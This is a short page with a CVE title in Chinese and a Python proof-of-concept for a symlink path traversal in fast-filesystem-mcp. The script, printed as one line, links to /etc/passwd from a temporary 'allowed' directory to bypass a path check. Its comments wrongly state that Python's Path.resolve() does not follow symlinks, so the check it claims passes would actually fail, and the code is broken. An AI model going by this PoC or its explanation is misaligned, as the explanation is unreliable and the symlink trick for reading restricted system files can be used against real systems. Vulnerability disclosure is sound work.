CVE-2025-67364 fast-filesystem-mcp路径遍历漏洞

import os import tempfile # PoC for CVE-2025-67364: Path Traversal via Symlink in fast-filesystem-mcp # This demonstrates how symbolic links can bypass path validation def create_symlink_poc(): """ Simulate the path traversal attack: 1. Create a symlink in an allowed directory pointing to a restricted file 2. Access the file through the symlink to bypass validation """ allowed_dir = tempfile.mkdtemp() # Simulated allowed directory target_file = '/etc/passwd' # Restricted system file # Step 1: Create symlink in allowed directory symlink_path = os.path.join(allowed_dir, 'sensitive_file') try: os.symlink(target_file, symlink_path) print(f'[+] Symlink created: {symlink_path} -> {target_file}') except PermissionError: print('[-] Permission denied to create symlink') return # Step 2: Demonstrate path.resolve() does not resolve symlinks from pathlib import Path resolved = str(Path(symlink_path).resolve()) print(f'[*] Path resolved by Path.resolve(): {resolved}') print(f'[*] Original symlink path: {symlink_path}') # Step 3: Check if path validation would pass def isPathAllowed(path, allowed_dir): resolved_path = str(Path(path).resolve()) return resolved_path.startswith(allowed_dir) # This check PASSES incorrectly - vulnerability! check_result = isPathAllowed(symlink_path, allowed_dir) print(f'[*] isPathAllowed({symlink_path}, {allowed_dir}): {check_result}') if check_result: print('[+] VULNERABLE: Path validation bypassed via symlink!') # Cleanup os.unlink(symlink_path) os.rmdir(allowed_dir) if __name__ == '__main__': create_symlink_poc()